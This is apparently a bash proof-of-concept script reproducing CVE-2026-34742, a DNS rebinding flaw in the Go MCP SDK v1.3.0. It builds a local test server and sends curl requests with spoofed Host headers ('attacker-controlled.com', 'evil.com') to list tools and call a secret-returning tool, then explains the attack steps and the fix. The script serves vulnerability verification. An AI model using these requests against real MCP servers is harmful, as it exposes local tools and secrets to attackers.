#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$ARTIFACTS"

cd "$ROOT"

echo "=========================================="
echo "CVE-2026-34742 Reproduction Script"
echo "Go MCP SDK DNS Rebinding Vulnerability"
echo "=========================================="
echo ""

install_go() {
    if command -v go &> /dev/null; then
        echo "Go installed: $(go version)"
        return 0
    fi
    echo "Installing Go 1.23..."
    if sudo apt-get update -qq && sudo apt-get install -y -qq golang-1.23-go 2>/dev/null; then
        export PATH=$PATH:/usr/lib/go-1.23/bin
    else
        curl -sL https://go.dev/dl/go1.23.6.linux-amd64.tar.gz -o /tmp/go.tar.gz
        sudo tar -C /usr/local -xzf /tmp/go.tar.gz
        export PATH=$PATH:/usr/local/go/bin
    fi
    if ! command -v go &> /dev/null; then
        echo "ERROR: Failed to install Go"
        exit 1
    fi
}

clone_vulnerable_sdk() {
    if [ -d "$ROOT/go-sdk-vulnerable/.git" ]; then
        echo "Using existing vulnerable SDK clone"
    else
        echo "Cloning vulnerable Go MCP SDK (v1.3.0)..."
        rm -rf "$ROOT/go-sdk-vulnerable"
        git clone --depth 1 --branch v1.3.0 https://github.com/modelcontextprotocol/go-sdk.git "$ROOT/go-sdk-vulnerable" 2>&1 | tee "$LOGS/clone_vulnerable.log"
    fi
}

install_go
clone_vulnerable_sdk

echo ""
echo "Step 1: Setting up test environment..."
TEST_DIR="$ROOT/test_repro"
mkdir -p "$TEST_DIR"
cd "$TEST_DIR"

VULNERABLE_SDK="$ROOT/go-sdk-vulnerable"

cat > go.mod << GOMOD
module dns_rebinding_test

go 1.23

require github.com/modelcontextprotocol/go-sdk v0.0.0

replace github.com/modelcontextprotocol/go-sdk => $VULNERABLE_SDK
GOMOD

cat > main.go << 'SERVERCODE'
package main

import (
	"context"
	"log"
	"net/http"
	"os"
	"time"

	"github.com/modelcontextprotocol/go-sdk/mcp"
)

func main() {
	server := mcp.NewServer(&mcp.Implementation{
		Name:    "vulnerable-test-server",
		Version: "1.0.0",
	}, nil)

	// Register a sensitive tool
	mcp.AddTool(server, &mcp.Tool{
		Name:        "get_secret_data",
		Description: "Returns sensitive internal data",
	}, func(ctx context.Context, req *mcp.CallToolRequest, args struct{}) (*mcp.CallToolResult, any, error) {
		return &mcp.CallToolResult{
			Content: []mcp.Content{
				&mcp.TextContent{Text: "SECRET_DATA_EXPOSED: api_key=sk-test-12345-localhost-only"},
			},
		}, nil, nil
	})

	// Create handler in STATELESS mode - still vulnerable to DNS rebinding
	handler := mcp.NewStreamableHTTPHandler(func(*http.Request) *mcp.Server {
		return server
	}, &mcp.StreamableHTTPOptions{
		Stateless: true,
	})

	port := os.Getenv("MCP_PORT")
	if port == "" {
		port = "18080"
	}

	addr := "127.0.0.1:" + port
	log.Printf("[VULNERABLE] MCP Server starting on %s", addr)
	log.Printf("Stateless mode: NO DNS rebinding protection")
	
	time.Sleep(200 * time.Millisecond)
	os.Create("/tmp/mcp_test_server.ready")
	
	log.Fatal(http.ListenAndServe(addr, handler))
}
SERVERCODE

echo "Step 2: Building vulnerable server..."
export PATH=$PATH:/usr/lib/go-1.23/bin
go mod tidy 2>&1 | tee "$LOGS/go_mod.log" >/dev/null
go build -o mcp_test_server main.go 2>&1 | tee "$LOGS/build.log"

echo "Step 3: Starting vulnerable MCP server on 127.0.0.1:18080..."
rm -f /tmp/mcp_test_server.ready
MCP_PORT=18080 ./mcp_test_server > "$LOGS/server.log" 2>&1 &
SERVER_PID=$!

echo "Waiting for server to start..."
READY=false
for i in {1..30}; do
    if [ -f /tmp/mcp_test_server.ready ]; then
        READY=true
        break
    fi
    sleep 0.3
    if [ $i -eq 30 ]; then
        echo "WARNING: Server startup detection timed out..."
    fi
done

if [ "$READY" = true ]; then
    echo "Server is ready! (PID: $SERVER_PID)"
else
    echo "Server may still be starting..."
fi

sleep 1

cleanup() {
    echo ""
    echo "Cleaning up..."
    pkill -f "mcp_test_server" 2>/dev/null || true
    rm -rf "$TEST_DIR"
    rm -f /tmp/mcp_test_server.ready
}
trap cleanup EXIT

echo ""
echo "=========================================="
echo "DNS REBINDING ATTACK SIMULATION"
echo "=========================================="
echo ""

# Common curl options with required Accept header
CURL_OPTS="-s -X POST -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream'"

# Test 1: Legitimate localhost request
echo "Test 1: List tools with legitimate Host: 127.0.0.1:18080"
HTTP_STATUS_LOCAL=$(curl -s -o "$ARTIFACTS/response_localhost.json" -w '%{http_code}' \
    -X POST \
    -H "Content-Type: application/json" \
    -H "Accept: application/json, text/event-stream" \
    -H "Host: 127.0.0.1:18080" \
    -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}' \
    http://127.0.0.1:18080/mcp 2>/dev/null)

echo "  HTTP Status: $HTTP_STATUS_LOCAL"
echo "$HTTP_STATUS_LOCAL" > "$ARTIFACTS/status_localhost.txt"

if [ -s "$ARTIFACTS/response_localhost.json" ]; then
    echo "  Response: $(head -c 500 "$ARTIFACTS/response_localhost.json")"
fi

echo ""

# Test 2: DNS Rebinding - malicious Host header
echo "Test 2: List tools with malicious Host: attacker-controlled.com"
cat > "$ARTIFACTS/request_attacker.txt" << EOF
POST /mcp HTTP/1.1
Host: attacker-controlled.com
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}
EOF

HTTP_STATUS_ATTACKER=$(curl -s -o "$ARTIFACTS/response_attacker.json" -w '%{http_code}' \
    -X POST \
    -H "Content-Type: application/json" \
    -H "Accept: application/json, text/event-stream" \
    -H "Host: attacker-controlled.com" \
    -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}' \
    http://127.0.0.1:18080/mcp 2>/dev/null)

echo "  HTTP Status: $HTTP_STATUS_ATTACKER"
echo "$HTTP_STATUS_ATTACKER" > "$ARTIFACTS/status_attacker.txt"

if [ -s "$ARTIFACTS/response_attacker.json" ]; then
    echo "  Response: $(head -c 500 "$ARTIFACTS/response_attacker.json")"
fi

echo ""

# Test 3: Execute sensitive tool via malicious host
echo "Test 3: Execute sensitive tool with malicious Host: evil.com"
HTTP_STATUS_TOOL=$(curl -s -o "$ARTIFACTS/response_tool_call.json" -w '%{http_code}' \
    -X POST \
    -H "Content-Type: application/json" \
    -H "Accept: application/json, text/event-stream" \
    -H "Host: evil.com" \
    -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_secret_data","arguments":{}}}' \
    http://127.0.0.1:18080/mcp 2>/dev/null)

echo "  HTTP Status: $HTTP_STATUS_TOOL"
echo "$HTTP_STATUS_TOOL" > "$ARTIFACTS/status_tool_call.txt"

if [ -s "$ARTIFACTS/response_tool_call.json" ]; then
    RESPONSE_CONTENT=$(cat "$ARTIFACTS/response_tool_call.json")
    echo "  Response: $RESPONSE_CONTENT"
fi

echo ""
echo "=========================================="
echo "ANALYSIS"
echo "=========================================="
echo ""

VULNERABLE=false
SECRET_EXPOSED=false

if [ "$HTTP_STATUS_ATTACKER" = "200" ]; then
    echo "VULNERABILITY INDICATOR: Server accepted request with malicious Host header"
    VULNERABLE=true
    
    if [ -s "$ARTIFACTS/response_attacker.json" ]; then
        if grep -q "get_secret_data\|tools\|result" "$ARTIFACTS/response_attacker.json" 2>/dev/null; then
            echo "  Server exposed tool list to malicious Host!"
        fi
    fi
else
    echo "Server rejected request with status: $HTTP_STATUS_ATTACKER"
fi

if [ "$HTTP_STATUS_TOOL" = "200" ]; then
    echo ""
    echo "CRITICAL: Sensitive tool executed via malicious Host header"
    VULNERABLE=true
    
    if [ -s "$ARTIFACTS/response_tool_call.json" ]; then
        RESPONSE_CONTENT=$(cat "$ARTIFACTS/response_tool_call.json")
        if echo "$RESPONSE_CONTENT" | grep -q "SECRET_DATA_EXPOSED\|api_key\|sk-test"; then
            echo "  SECRET DATA EXPOSED via DNS rebinding attack!"
            SECRET_EXPOSED=true
        fi
    fi
elif [ "$HTTP_STATUS_TOOL" = "403" ]; then
    echo ""
    echo "Tool call blocked by DNS rebinding protection (403)"
else
    echo ""
    echo "Tool call returned status: $HTTP_STATUS_TOOL"
fi

cat > "$ROOT/repro/runtime_manifest.json" << EOF
{
  "entrypoint_kind": "library_api",
  "entrypoint_detail": "MCP StreamableHTTPHandler v1.3.0 (stateless) on 127.0.0.1:18080",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": ["go-1.23", "mcp-server-vulnerable"],
  "proof_artifacts": [
    "artifacts/request_attacker.txt",
    "artifacts/response_attacker.json",
    "artifacts/status_attacker.txt",
    "artifacts/response_tool_call.json",
    "artifacts/status_tool_call.txt",
    "artifacts/response_localhost.json",
    "artifacts/status_localhost.txt",
    "logs/server.log"
  ],
  "notes": "MCP server v1.3.0 lacks DNS rebinding protection, accepts requests with arbitrary Host headers"
}
EOF

echo ""
echo "=========================================="
echo "VERDICT"
echo "=========================================="
echo ""

if [ "$VULNERABLE" = true ]; then
    echo "VULNERABILITY CONFIRMED: CVE-2026-34742"
    echo ""
    echo "Root Cause:"
    echo "  The Go MCP SDK v1.3.0 (StreamableHTTPHandler) does NOT validate"
    echo "  the Host header against the server's local address."
    echo ""
    echo "Attack Vector (DNS Rebinding):"
    echo "  1. Attacker controls DNS for attacker-controlled.com"
    echo "  2. User visits attacker's site, establishing origin trust"
    echo "  3. Attacker rebinds DNS to 127.0.0.1"
    echo "  4. Browser sends request to 'attacker-controlled.com' (now localhost)"
    echo "  5. MCP server sees Host: attacker-controlled.com but accepts it"
    echo "  6. NO DNS rebinding protection - vulnerability confirmed!"
    echo ""
    echo "Evidence:"
    echo "  - Localhost request status: $HTTP_STATUS_LOCAL"
    echo "  - Malicious Host request status: $HTTP_STATUS_ATTACKER"
    echo "  - Tool execution status: $HTTP_STATUS_TOOL"
    if [ "$SECRET_EXPOSED" = true ]; then
        echo "  - SECRET DATA EXPOSED: YES"
    fi
    echo ""
    echo "Fix in v1.4.0:"
    echo "  ServeHTTP validates Host header against local address."
    echo "  Non-loopback Hosts on localhost servers get 403 Forbidden."
    echo ""
    
    exit 0
else
    echo "VULNERABILITY NOT DETECTED"
    echo "Server may have DNS rebinding protection enabled (patched version)."
    echo "HTTP Status for malicious host: $HTTP_STATUS_ATTACKER"
    
    exit 1
fi